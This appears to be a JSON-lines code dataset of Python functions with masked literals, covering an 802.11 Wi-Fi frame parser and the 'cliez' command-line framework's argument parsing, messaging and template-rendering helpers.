<EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:15>])       <EOL>return capabils<EOL>", "docstring": "strip(2 byte) wlan_mgt.fixed.capabilities\n        :payload: ctypes.structure\n            2 byte\n        :return: dict\n            None in error", "id": "f1089:c5:m3"}
{"signature": "@staticmethod<EOL><INDENT>def parse_vendor_ie(payload):<DEDENT>", "body": "output = {}<EOL>oui = struct.unpack('<STR_LIT>', payload[<NUM_LIT:0>:<NUM_LIT:3>])<EOL>oui = b'<STR_LIT:->'.join([('<STR_LIT>' % o).encode('<STR_LIT:ascii>') for o in oui])<EOL>oui_type = struct.unpack('<STR_LIT:B>', payload[<NUM_LIT:3>:<NUM_LIT:4>])[<NUM_LIT:0>]<EOL>oui_data = payload[<NUM_LIT:4>:]<EOL>output['<STR_LIT>'] = oui.upper()<EOL>output['<STR_LIT>'] = oui_type<EOL>output['<STR_LIT>'] = oui_data<EOL>return output<EOL>", "docstring": "parse vendor specific information element\n        oui -> organizationally unique identifier\n        first 3 bytes of mac addresses\n        see:https://www.wireshark.org/tools/oui-lookup.html\n        strip wlan_mgt.tag.oui(3 bytes),\n        wlan_mgt.tag.vendor.oui.type(1 byte)\n        wlan_mgt.tag.vendor.data (varies)\n        :payload: ctypes.structure\n        :return: dict\n            {'oui':00-11-22, 'oui_type':1, 'oui_data':ctypes.structure}", "id": "f1089:c5:m4"}
{"signature": "@staticmethod<EOL><INDENT>def get_timestamp(payload):<DEDENT>", "body": "if len(payload) != <NUM_LIT:8>:<EOL><INDENT>return None<EOL><DEDENT>timestamp = struct.unpack('<STR_LIT>', payload)[<NUM_LIT:0>]<EOL>return timestamp<EOL>", "docstring": "strip wlan_mgt.fixed.timestamp(8 bytes)\n        :payload: ctypes.structure\n        :return: int\n            None on error", "id": "f1089:c5:m5"}
{"signature": "@staticmethod<EOL><INDENT>def get_interval(payload):<DEDENT>", "body": "if len(payload) != <NUM_LIT:2>:<EOL><INDENT>return None<EOL><DEDENT>interval = struct.unpack('<STR_LIT:H>', payload)[<NUM_LIT:0>]<EOL>return interval<EOL>", "docstring": "strip wlan_mgt.fixed.beacoN(2 bytes)\n        beacon interval\n        :payload: ctypes.structure\n        :return: int\n            None on error", "id": "f1089:c5:m6"}
{"signature": "@staticmethod<EOL><INDENT>def strip_fixed_params(payload):<DEDENT>", "body": "if len(payload) != <NUM_LIT:12>:<EOL><INDENT>return None, None, None<EOL><DEDENT>idx = <NUM_LIT:0><EOL>timestamp = Management.get_timestamp(payload[idx:idx + <NUM_LIT:8>])<EOL>idx += <NUM_LIT:8><EOL>interval = Management.get_interval(payload[idx:idx + <NUM_LIT:2>])<EOL>idx += <NUM_LIT:2><EOL>capabils = Management.get_fixed_capabils(payload[idx:idx + <NUM_LIT:2>])<EOL>return timestamp, interval, capabils<EOL>", "docstring": "strip(12 byte) wlan_mgt.fixed.all\n        :payload: ctypes.structure\n        :return: int\n            timestamp\n        :return: int\n            beacon interval\n        :return: dict\n            capabilities", "id": "f1089:c5:m7"}
{"signature": "@staticmethod<EOL><INDENT>def is_valid_mac_oui(mac_block):<DEDENT>", "body": "if len(mac_block) != <NUM_LIT:8>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if '<STR_LIT::>' in mac_block:<EOL><INDENT>if len(mac_block.split('<STR_LIT::>')) != <NUM_LIT:3>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT><DEDENT>elif '<STR_LIT:->' in mac_block:<EOL><INDENT>if len(mac_block.split('<STR_LIT:->')) != <NUM_LIT:3>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "checks whether mac block is in format of\n        00-11-22 or 00:11:22.\n        :return: int", "id": "f1089:c5:m8"}
{"signature": "def set_fixed_capabils(self, capabils):", "body": "self.ess = capabils['<STR_LIT>']<EOL>self.ibss = capabils['<STR_LIT>']<EOL>self.priv = capabils['<STR_LIT>']<EOL>self.short_preamble = capabils['<STR_LIT>']<EOL>self.pbcc = capabils['<STR_LIT>']<EOL>self.chan_agility = capabils['<STR_LIT>']<EOL>self.spec_man = capabils['<STR_LIT>']<EOL>self.short_slot = capabils['<STR_LIT>']<EOL>self.apsd = capabils['<STR_LIT>']<EOL>self.radio_meas = capabils['<STR_LIT>']<EOL>self.dss_ofdm = capabils['<STR_LIT>']<EOL>self.del_back = capabils['<STR_LIT>']<EOL>self.imm_back = capabils['<STR_LIT>']<EOL>", "docstring": "set keys of capabils into fields of object\n        :capabils: dict", "id": "f1089:c5:m9"}
{"signature": "def get_vendor_ies(self, mac_block=None, oui_type=None):", "body": "vendor_ies = []<EOL>if mac_block is not None:<EOL><INDENT>if Management.is_valid_mac_oui(mac_block):<EOL><INDENT>mac_block = mac_block.upper()<EOL>if '<STR_LIT::>' in mac_block:<EOL><INDENT>mac_block.replace('<STR_LIT::>', '<STR_LIT:->')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logging.warning(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>for elem in self.tagged_params:<EOL><INDENT>tag_num = elem['<STR_LIT>']<EOL>if MNGMT_TAGS[tag_num] == '<STR_LIT>':<EOL><INDENT>if mac_block is None:<EOL><INDENT>vendor_ies.append(elem)<EOL><DEDENT>elif elem['<STR_LIT>']['<STR_LIT>'] == mac_block.encode('<STR_LIT:ascii>'):<EOL><INDENT>if oui_type is None:<EOL><INDENT>vendor_ies.append(elem)<EOL><DEDENT>elif elem['<STR_LIT>']['<STR_LIT>'] == oui_type:<EOL><INDENT>vendor_ies.append(elem)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return vendor_ies<EOL>", "docstring": "vendor information element querying\n        :mac_block: str\n            first 3 bytes of mac addresses in format of\n            00-11-22 or 00:11:22 or 001122\n        :oui_type: int\n            vendors ie type\n        :return: int\n            is valid mac_block  format\n            -1 is unknown\n        :return: dict[]\n            list of oui information elements\n            -1 on error (invalid v", "id": "f1089:c5:m10"}
{"signature": "def __init__(self, frame, no_rtap=False):", "body": "Management.__init__(self, frame, no_rtap)<EOL>idx = <NUM_LIT:0><EOL>self.timestamp = self.interval = None<EOL>self.ta = self.ra = self.bssid = None<EOL>self.seq_num = self.frag_num = None<EOL>self.ess = self.ibss = None<EOL>self.privacy = None<EOL>self.priv = self.short_preamble = self.pbcc = self.chan_agility = None<EOL>self.spec_man = self.short_slot = self.apsd = self.radio_meas = None<EOL>self.dss_ofdm = self.del_back = self.imm_back = None<EOL>seq_idx, _, _, self.ta, self.ra, _, self.bssid = self.strip_mac_addrs()<EOL>idx = seq_idx<EOL>self.seq_num, self.frag_num = self.strip_seq_cntrl(idx)<EOL>idx += <NUM_LIT:2><EOL>payload = self._packet[idx:idx + <NUM_LIT:12>]<EOL>timestamp, interval, fixed_capabils = self.strip_fixed_params(payload)<EOL>if all([timestamp, interval, fixed_capabils]):<EOL><INDENT>self.timestamp = timestamp<EOL>self.interval = interval<EOL>self.set_fixed_capabils(fixed_capabils)<EOL>idx += <NUM_LIT:12><EOL><DEDENT>else:<EOL><INDENT>logging.warning(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if idx < len(self._packet):<EOL><INDENT>self._raw_tagged_params = self._packet[idx:]<EOL>is_out_bound, tagged_params = self.parse_tagged_params(self._raw_tagged_params)<EOL>if len(tagged_params):<EOL><INDENT>self.tagged_params = tagged_params<EOL><DEDENT>if is_out_bound:<EOL><INDENT>logging.warning(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Constructor method.\n        :frame: ctypes.Structure", "id": "f1089:c8:m0"}
{"signature": "def __init__(self, frame, no_rtap=False):", "body": "Wifi.__init__(self, frame, no_rtap)<EOL>", "docstring": "Constructor method.\n        :frame: ctypes.Structure", "id": "f1089:c9:m0"}
{"signature": "def __init__(self, frame, no_rtap=False):", "body": "Control.__init__(self, frame, no_rtap)<EOL>(ra_mac, ta_mac) = struct.unpack('<STR_LIT>', self._packet[<NUM_LIT:4>:<NUM_LIT:16>])<EOL>self.ra = Wifi.get_mac_addr(ra_mac)<EOL>self.ta = Wifi.get_mac_addr(ta_mac)<EOL>", "docstring": "Constructor method.\n        :frame: ctypes.Structure", "id": "f1089:c10:m0"}
{"signature": "def __init__(self, frame, no_rtap=False):", "body": "Control.__init__(self, frame, no_rtap)<EOL>ra_mac = struct.unpack('<STR_LIT>', self._packet[<NUM_LIT:4>:<NUM_LIT:10>])[<NUM_LIT:0>]<EOL>self.ra = Wifi.get_mac_addr(ra_mac)<EOL>", "docstring": "Constructor method.\n        :frame: ctypes.Structure", "id": "f1089:c11:m0"}
{"signature": "def __init__(self, frame, no_rtap=False):", "body": "Control.__init__(self, frame, no_rtap)<EOL>(ra_mac, ta_mac) = struct.unpack('<STR_LIT>', self._packet[<NUM_LIT:4>:<NUM_LIT:16>])<EOL>self.ra = self.ta = None<EOL>self.ackpolicy = self.multitid = None<EOL>self.ssc_frag = self.ssc_seq = None<EOL>self.bitmap_str = None<EOL>self.acked_seqs = []<EOL>self.ra = Wifi.get_mac_addr(ra_mac)<EOL>self.ta = Wifi.get_mac_addr(ta_mac)<EOL>idx = <NUM_LIT:16><EOL>payload = self._packet[idx:idx + <NUM_LIT:2>]<EOL>self.ackpolicy, self.multitid = BACK.strip_cntrl(payload)<EOL>idx += <NUM_LIT:2><EOL>payload = self._packet[idx:idx + <NUM_LIT:2>]<EOL>self.ssc_seq, self.ssc_frag = BACK.strip_ssc(payload)<EOL>idx += <NUM_LIT:2><EOL>payload = self._packet[idx:idx + <NUM_LIT:8>]<EOL>self.bitmap_str = BACK.strip_bitmap_str(payload)<EOL>idx += <NUM_LIT:8><EOL>self.acked_seqs = BACK.extract_acked_seqs(self.bitmap_str, self.ssc_seq)<EOL>", "docstring": "Constructor method.\n        :frame: ctypes.Structure", "id": "f1089:c12:m0"}
{"signature": "def get_shark_field(self, fields):", "body": "out = super(BACK, self).get_shark_field(fields)<EOL>out.update({'<STR_LIT>': self.acked_seqs,<EOL>'<STR_LIT>': self.bitmap_str})<EOL>return out<EOL>", "docstring": ":fields: str[]", "id": "f1089:c12:m1"}
{"signature": "@staticmethod<EOL><INDENT>def strip_cntrl(payload):<DEDENT>", "body": "cntrl = struct.unpack('<STR_LIT:H>', payload)[<NUM_LIT:0>]<EOL>cntrl_bits = format(cntrl, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>ackpolicy = int(cntrl_bits[<NUM_LIT:0>])<EOL>multitid = int(cntrl_bits[<NUM_LIT:1>])<EOL>return ackpolicy, multitid<EOL>", "docstring": "strip(2 byte) wlan.ba.control\n        :payload: ctypes.structure\n        :return: int\n            multitid (tid: traffic indicator)\n        :return: int\n            ackpolicy", "id": "f1089:c12:m2"}
{"signature": "@staticmethod<EOL><INDENT>def strip_ssc(payload):<DEDENT>", "body": "ssc = struct.unpack('<STR_LIT:H>', payload)[<NUM_LIT:0>]<EOL>ssc_seq = ssc >> <NUM_LIT:4><EOL>ssc_frag = ssc & <NUM_LIT><EOL>return ssc_seq, ssc_frag<EOL>", "docstring": "strip(2 byte) wlan_mgt.fixed.ssc\n        :payload: ctypes.structure\n        :return: int\n            ssc_seq (starting sequence control sequence)\n        :return: int\n            ssc_frag (starting sequence control fragment number)", "id": "f1089:c12:m3"}
{"signature": "@staticmethod<EOL><INDENT>def strip_bitmap_str(payload):<DEDENT>", "body": "bitmap = struct.unpack('<STR_LIT>', payload)<EOL>bitmap_str = '<STR_LIT>'<EOL>for elem in bitmap:<EOL><INDENT>bitmap_str += format(elem, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL><DEDENT>return bitmap_str<EOL>", "docstring": "strip(8 byte) wlan.ba.bm\n        :payload: ctypes.structure\n        :return: str\n            bitmap", "id": "f1089:c12:m4"}
{"signature": "@staticmethod<EOL><INDENT>def extract_acked_seqs(bitmap, ssc_seq):<DEDENT>", "body": "acked_seqs = []<EOL>for idx, val in enumerate(bitmap):<EOL><INDENT>if int(val) == <NUM_LIT:1>:<EOL><INDENT>seq = (ssc_seq + idx) % <NUM_LIT><EOL>acked_seqs.append(seq)<EOL><DEDENT><DEDENT>return acked_seqs<EOL>", "docstring": "extracts acknowledged sequences from bitmap and\n        starting sequence number.\n        :bitmap: str\n        :ssc_seq: int\n        :return: int[]\n            acknowledged sequence numbers", "id": "f1089:c12:m5"}
{"signature": "def parse_require(self, env, keys, defaults={}):", "body": "for k in keys:<EOL><INDENT>env[k] = getattr(self.options, k) or env.get(k, None)<EOL>if env[k] is None:<EOL><INDENT>self.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (k, env))<EOL><DEDENT>pass<EOL><DEDENT>for k, v in defaults.items():<EOL><INDENT>env.setdefault(k, v)<EOL><DEDENT>return env<EOL>", "docstring": "check and get require config\n:param dict env: user config node\n:param list keys: check keys\n    .. note::\n\n        option and key name must be same.\n\n:param dict defaults: default value for keys\n:return: dict.env with verified.\n\n\n.. exception::\n\n    will raise `ValueError` when some key missed.", "id": "f1101:c1:m0"}
{"signature": "def command_list():", "body": "from cliez.conf import COMPONENT_ROOT<EOL>root = COMPONENT_ROOT<EOL>if root is None:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:2>)<EOL>pass<EOL><DEDENT>if not os.path.exists(root):<EOL><INDENT>sys.stderr.write(<EOL>\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:2>)<EOL>pass<EOL><DEDENT>try:<EOL><INDENT>path = os.listdir(os.path.join(root, '<STR_LIT>'))<EOL>return [f[:-<NUM_LIT:3>] for f in path if<EOL>f.endswith('<STR_LIT>') and f != '<STR_LIT>']<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "Get sub-command list\n\n.. note::\n\n    Don't use logger handle this function errors.\n\n    Because the error should be a code error,not runtime error.\n\n\n:return: `list` matched sub-parser", "id": "f1102:m0"}
{"signature": "def append_arguments(klass, sub_parsers, default_epilog, general_arguments):", "body": "entry_name = hump_to_underscore(klass.__name__).replace(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>epilog = default_epilog if default_epilogelse '<STR_LIT>''<STR_LIT>'<EOL>sub_parser = sub_parsers.add_parser(entry_name, help=klass.__doc__,<EOL>epilog=epilog)<EOL>sub_parser.description = klass.add_arguments.__doc__<EOL>if hasattr(klass, '<STR_LIT>'):<EOL><INDENT>slot_args = klass.add_slot_args() or []<EOL>for v in slot_args:<EOL><INDENT>sub_parser.add_argument(*v[<NUM_LIT:0>], **v[<NUM_LIT:1>])<EOL><DEDENT>sub_parser.description = klass.add_slot_args.__doc__<EOL>pass<EOL><DEDENT>user_arguments = klass.add_arguments() or []<EOL>for v in user_arguments:<EOL><INDENT>sub_parser.add_argument(*v[<NUM_LIT:0>], **v[<NUM_LIT:1>])<EOL><DEDENT>if not klass.exclude_global_option:<EOL><INDENT>for v in general_arguments:<EOL><INDENT>sub_parser.add_argument(*v[<NUM_LIT:0>], **v[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>return sub_parser<EOL>", "docstring": "Add class options to argparser options.\n\n:param cliez.component.Component klass: subclass of Component\n:param Namespace sub_parsers:\n:param str default_epilog: default_epilog\n:param list general_arguments: global options, defined by user\n:return: Namespace subparser", "id": "f1102:m1"}
{"signature": "def parse(parser, argv=None, settings_key='<STR_LIT>', no_args_func=None):", "body": "argv = argv or sys.argv<EOL>commands = command_list()<EOL>if type(argv) not in [list, tuple]:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if len(argv) >= <NUM_LIT:2> and argv[<NUM_LIT:1>] in commands:<EOL><INDENT>sub_parsers = parser.add_subparsers()<EOL>class_name = argv[<NUM_LIT:1>].capitalize() + '<STR_LIT>'<EOL>from cliez.conf import (COMPONENT_ROOT,<EOL>LOGGING_CONFIG,<EOL>EPILOG,<EOL>GENERAL_ARGUMENTS)<EOL>sys.path.insert(<NUM_LIT:0>, os.path.dirname(COMPONENT_ROOT))<EOL>mod = importlib.import_module(<EOL>'<STR_LIT>'.format(os.path.basename(COMPONENT_ROOT),<EOL>argv[<NUM_LIT:1>]))<EOL>klass = getattr(mod, class_name)<EOL>sub_parser = append_arguments(klass, sub_parsers, EPILOG,<EOL>GENERAL_ARGUMENTS)<EOL>options = parser.parse_args(argv[<NUM_LIT:1>:])<EOL>settings = Settings.bind(<EOL>getattr(options, settings_key)<EOL>) if settings_key and hasattr(options, settings_key) else None<EOL>obj = klass(parser, sub_parser, options, settings)<EOL>logger_level = logging.CRITICAL<EOL>if hasattr(options, '<STR_LIT>'):<EOL><INDENT>if options.verbose == <NUM_LIT:1>:<EOL><INDENT>logger_level = logging.ERROR<EOL><DEDENT>elif options.verbose == <NUM_LIT:2>:<EOL><INDENT>logger_level = logging.WARNING<EOL><DEDENT>elif options.verbose == <NUM_LIT:3>:<EOL><INDENT>logger_level = logging.INFO<EOL>obj.logger.setLevel(logging.INFO)<EOL><DEDENT>pass<EOL><DEDENT>if hasattr(options, '<STR_LIT>') and options.debug:<EOL><INDENT>logger_level = logging.DEBUG<EOL>try:<EOL><INDENT>import http.client as http_client<EOL>http_client.HTTPConnection.debuglevel = <NUM_LIT:1><EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>pass<EOL><DEDENT>loggers = LOGGING_CONFIG['<STR_LIT>']<EOL>for k, v in loggers.items():<EOL><INDENT>v.setdefault('<STR_LIT>', logger_level)<EOL>if logger_level in [logging.INFO, logging.DEBUG]:<EOL><INDENT>v['<STR_LIT>'] = ['<STR_LIT>']<EOL><DEDENT>pass<EOL><DEDENT>logging_config.dictConfig(LOGGING_CONFIG)<EOL>obj.run(options)<EOL>return obj<EOL><DEDENT>if not parser.description and len(commands):<EOL><INDENT>sub_parsers = parser.add_subparsers()<EOL>[sub_parsers.add_parser(v) for v in commands]<EOL>pass<EOL><DEDENT>pass<EOL>options = parser.parse_args(argv[<NUM_LIT:1>:])<EOL>if no_args_func and callable(no_args_func):<EOL><INDENT>return no_args_func(options)<EOL><DEDENT>else:<EOL><INDENT>parser._print_message(\"<STR_LIT>\")<EOL><DEDENT>pass<EOL>", "docstring": "parser cliez app\n\n:param argparse.ArgumentParser parser: an instance\n    of argparse.ArgumentParser\n:param argv: argument list,default is `sys.argv`\n:type argv: list or tuple\n\n:param str settings: settings option name,\n    default is settings.\n\n:param object no_args_func: a callable object.if no sub-parser matched,\n    parser will call it.\n\n:return:  an instance of `cliez.component.Component` or its subclass", "id": "f1102:m2"}
{"signature": "def __init__(self, parser=None, sub_parser=None, options=None,<EOL>settings=None,<EOL>*args, **kwargs):", "body": "self.parser = parser<EOL>self.sub_parser = sub_parser<EOL>self.options = options<EOL>self.settings = settings<EOL>if not self.logger_name:<EOL><INDENT>self.logger_name = '<STR_LIT>'.format(<EOL>self.__class__.__name__.lower().replace('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>self.logger = logging.getLogger(self.logger_name)<EOL>pass<EOL>", "docstring": "Don't overwrite this method.\nIn most case,you should custom  `run()` method", "id": "f1105:c0:m0"}
{"signature": "def print_message(self, message, fh=None):", "body": "return self.parser._print_message(message + \"<STR_LIT:\\n>\", fh)<EOL>", "docstring": "print message on screen\n\n:param str message:\n:param file fh: file handle,default is None\n:return: None", "id": "f1105:c0:m1"}
{"signature": "def print_loading(self, wait, message):", "body": "tags = ['<STR_LIT:\\\\>', '<STR_LIT:|>', '<STR_LIT:/>', '<STR_LIT:->']<EOL>for i in range(wait):<EOL><INDENT>time.sleep(<NUM_LIT>)<EOL>sys.stdout.write(\"<STR_LIT>\" % {<EOL>'<STR_LIT:message>': message,<EOL>'<STR_LIT>': tags[i % <NUM_LIT:4>]<EOL>})<EOL>sys.stdout.flush()<EOL>pass<EOL><DEDENT>sys.stdout.write(\"<STR_LIT>\" % message)<EOL>sys.stdout.flush()<EOL>pass<EOL>", "docstring": "print loading message on screen\n\n.. note::\n\n    loading message only write to `sys.stdout`\n\n\n:param int wait: seconds to wait\n:param str message: message to print\n:return: None", "id": "f1105:c0:m2"}
{"signature": "def warn_message(self, message, fh=None, prefix=\"<STR_LIT>\", suffix=\"<STR_LIT>\"):", "body": "msg = prefix + message + suffix<EOL>fh = fh or sys.stdout<EOL>if fh is sys.stdout:<EOL><INDENT>termcolor.cprint(msg, color=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>fh.write(msg)<EOL><DEDENT>pass<EOL>", "docstring": "print warn type message,\nif file handle is `sys.stdout`, print color message\n\n\n:param str message: message to print\n:param file fh: file handle,default is `sys.stdout`\n:param str prefix: message prefix,default is `[warn]`\n:param str suffix: message suffix ,default is `...`\n:return: None", "id": "f1105:c0:m3"}
{"signature": "def warn(self, *args, **kwargs):", "body": "return self.warn_message(*args, **kwargs)<EOL>", "docstring": "alias for `warn_message`", "id": "f1105:c0:m4"}
{"signature": "def error_message(self, message, fh=None, prefix=\"<STR_LIT>\",<EOL>suffix=\"<STR_LIT>\"):", "body": "msg = prefix + message + suffix<EOL>fh = fh or sys.stderr<EOL>if fh is sys.stderr:<EOL><INDENT>termcolor.cprint(msg, color=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>fh.write(msg)<EOL><DEDENT>pass<EOL>", "docstring": "print error type message\nif file handle is `sys.stderr`, print color message\n\n:param str message: message to print\n:param file fh: file handle, default is `sys.stdout`\n:param str prefix: message prefix,default is `[error]`\n:param str suffix: message suffix ,default is '...'\n:return: None", "id": "f1105:c0:m5"}
{"signature": "def error(self, message=None, exit_code=<NUM_LIT:2>):", "body": "return self.parser.exit(exit_code, message)<EOL>", "docstring": "print error message and exit.\nthis method call `argparser.exit` to exit.\n\n:param str message: message to print\n:param int exit_code: exit code,default is 2\n\n:return: None", "id": "f1105:c0:m6"}
{"signature": "def system(self, cmd, fake_code=False):", "body": "try:<EOL><INDENT>if self.options.dry_run:<EOL><INDENT>def fake_system(cmd):<EOL><INDENT>self.print_message(cmd)<EOL>return fake_code<EOL><DEDENT>return fake_system(cmd)<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>self.logger.warnning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>pass<EOL><DEDENT>return os.system(cmd)<EOL>", "docstring": "a built-in wrapper make dry-run easier.\nyou should use this instead use `os.system`\n\n.. note::\n\n    to use it,you need add '--dry-run' option in\n    your argparser options\n\n\n:param str cmd: command to execute\n:param bool fake_code: only display command\n    when is True,default is False\n:return:", "id": "f1105:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def load_resource(path, root='<STR_LIT>'):<DEDENT>", "body": "if root:<EOL><INDENT>full_path = root + '<STR_LIT:/>' + path.strip('<STR_LIT:/>')<EOL><DEDENT>else:<EOL><INDENT>full_path = path<EOL><DEDENT>buf = '<STR_LIT>'<EOL>try:<EOL><INDENT>buf = open(full_path).read()<EOL><DEDENT>except IOError:<EOL><INDENT>pkg, path = full_path.split('<STR_LIT:/>', <NUM_LIT:1>)<EOL>try:<EOL><INDENT>import pkg_resources<EOL>buf = pkg_resources.resource_string(pkg, path)<EOL>if type(buf) != str:<EOL><INDENT>buf = buf.decode('<STR_LIT:utf-8>')<EOL>pass<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return buf<EOL>", "docstring": ".. warning::\n\n    Experiment feature.\n\n    BE CAREFUL! WE MAY REMOVE THIS FEATURE!\n\n\nload resource file which in package.\nthis method is used to load file easier in different environment.\n\ne.g:\n\nconsume we have a file named `resource.io` in package `cliez.conf`,\nand we want to load it.\nthe easiest way may like this:\n\n.. code-block:: python\n\n    open('../conf/resource.io').read()\n\n\nAn obvious problem is `..` is relative path.\nit will cause an error.\n\n`load_resource` is designed for solve this problem.\n\n\nThe following code are equivalent:\n\n.. code-block:: python\n\n    a = Component()\n    a.load_resource('resource.io', root='cliez/base')\n    a.load_resource('base/resource.io', root='cliez')\n    a.load_resource('/base/resource.io', root='cliez')\n    a.load_resource('cliez/base/resource.io')\n    a.load_resource(__file__.rsplit('/', 2)[0] +\n    '/cliez/base/resource.io')\n\n\n.. note::\n\n    The document charset *MUST BE* utf-8\n\n\n:param str path: file path\n:param str root: root path\n\n:return: str", "id": "f1105:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def load_description(name, root='<STR_LIT>'):<DEDENT>", "body": "desc = '<STR_LIT>'<EOL>try:<EOL><INDENT>desc = Component.load_resource(name, root=root)<EOL><DEDENT>except (IOError, ImportError):<EOL><INDENT>pass<EOL><DEDENT>return desc<EOL>", "docstring": ".. warning::\n\n    Experiment feature.\n\n    BE CAREFUL! WE MAY REMOVE THIS FEATURE!\n\n\nLoad resource file as description,\nif resource file not exist,will return empty string.\n\n:param str path: name resource path\n:param str root: same as `load_resource` root\n:return: `str`", "id": "f1105:c0:m9"}
{"signature": "@classmethod<EOL><INDENT>def add_arguments(cls):<DEDENT>", "body": "pass<EOL>", "docstring": "Sub-Command Document Write At Here.", "id": "f1105:c0:m10"}
{"signature": "@classmethod<EOL><INDENT>def add_arguments(cls):<DEDENT>", "body": "return [<EOL>(('<STR_LIT>',), dict(help='<STR_LIT>')),<EOL>(('<STR_LIT:name>',), dict(nargs='<STR_LIT:?>', default='<STR_LIT>', help='<STR_LIT>')),<EOL>(('<STR_LIT>',),<EOL>dict(action='<STR_LIT:store_true>', help='<STR_LIT>')),<EOL>(('<STR_LIT>',),<EOL>dict(action='<STR_LIT:store_true>', help='<STR_LIT>')),<EOL>]<EOL>pass<EOL>", "docstring": "Create project.\n\nBy default cliez find github first,\nif not found,then try to search bitbucket\n\nif user define `--local` option. search local path first.\n\nif user define `--bitbucket`, search bitbucket first,\nthen search github.", "id": "f1106:c0:m1"}
{"signature": "def load_gitconfig(self):", "body": "gitconfig_path = os.path.expanduser('<STR_LIT>')<EOL>if os.path.exists(gitconfig_path):<EOL><INDENT>parser = Parser()<EOL>parser.read(gitconfig_path)<EOL>parser.sections()<EOL>return parser<EOL><DEDENT>pass<EOL>", "docstring": "try use gitconfig info.\nauthor,email etc.", "id": "f1107:c0:m0"}
{"signature": "def render(self, match_string, new_string):", "body": "current_dir = self.options.dir<EOL>if os.path.expanduser(current_dir) in ['<STR_LIT:/>', os.path.expanduser(\"<STR_LIT>\")]:<EOL><INDENT>self.error(\"<STR_LIT>\", -<NUM_LIT:1>)<EOL>pass<EOL><DEDENT>def match_directory(path):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>skip = False<EOL>for include_dir in ['<STR_LIT>' % s for s in<EOL>self.exclude_directories]:<EOL><INDENT>if path.find(include_dir) > -<NUM_LIT:1>:<EOL><INDENT>skip = True<EOL>break<EOL><DEDENT>pass<EOL><DEDENT>return skip<EOL><DEDENT>for v in os.walk(current_dir):<EOL><INDENT>if os.path.basename(v[<NUM_LIT:0>]) in self.exclude_directories:<EOL><INDENT>continue<EOL><DEDENT>if match_directory(v[<NUM_LIT:0>]):<EOL><INDENT>continue<EOL><DEDENT>for base_name in v[<NUM_LIT:2>]:<EOL><INDENT>file_name = os.path.join(v[<NUM_LIT:0>], base_name)<EOL>try:<EOL><INDENT>with open(file_name, '<STR_LIT:r>') as fh:<EOL><INDENT>buffer = fh.read()<EOL>buffer = buffer.replace(match_string, new_string)<EOL>pass<EOL><DEDENT>with open(file_name, '<STR_LIT:w>') as fh:<EOL><INDENT>fh.write(buffer)<EOL>pass<EOL><DEDENT><DEDENT>except UnicodeDecodeError:<EOL><INDENT>continue<EOL><DEDENT>pass<EOL><DEDENT>pass<EOL><DEDENT>redo_directories = []<EOL>redo_files = []<EOL>for v in os.walk(current_dir):<EOL><INDENT>if os.path.basename(v[<NUM_LIT:0>]) in self.exclude_directories:<EOL><INDENT>continue<EOL><DEDENT>if match_directory(v[<NUM_LIT:0>]):<EOL><INDENT>continue<EOL><DEDENT>for sub_dir in v[<NUM_LIT:1>]:<EOL><INDENT>if match_string in sub_dir:<EOL><INDENT>redo_directories.append(os.path.join(v[<NUM_LIT:0>], sub_dir))<EOL>pass<EOL><DEDENT><DEDENT>for f in v[<NUM_LIT:2>]:<EOL><INDENT>if match_string in f:<EOL><INDENT>redo_files.append(os.path.join(v[<NUM_LIT:0>], f))<EOL>pass<EOL><DEDENT><DEDENT>pass<EOL><DEDENT>redo_directories.reverse()<EOL>redo_files.reverse()<EOL>for v in redo_files:<EOL><INDENT>dir_name = os.path.dirname(v)<EOL>file_name = os.path.basename(v)<EOL>shutil.move(v, os.path.join(<EOL>dir_name,<EOL>file_name.replace(match_string, new_string)))<EOL>pass<EOL><DEDENT>for v in redo_directories:<EOL><INDENT>shutil.move(v, v.replace(match_string, new_string))<EOL>pass<EOL><DEDENT>pass<EOL>", "docstring": "render template string to user string\n:param str match_string: template string,syntax: '___VAR___'\n:param str new_string: user string\n:return:", "id": "f1107:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def add_arguments(cls):<DEDENT>", "body": "return [<EOL>(('<STR_LIT>',), dict(action='<STR_LIT:store_true>', help='<STR_LIT>')),<EOL>(('<STR_LIT>', '<STR_LIT>'),<EOL>dict(nargs='<STR_LIT:+>', help='<STR_LIT>')),<EOL>(('<STR_LIT>',),<EOL>dict(action='<STR_LIT:store_true>', help='<STR_LIT>')),<EOL>]<EOL>", "docstring": "Init project.", "id": "f1107:c0:m9"}
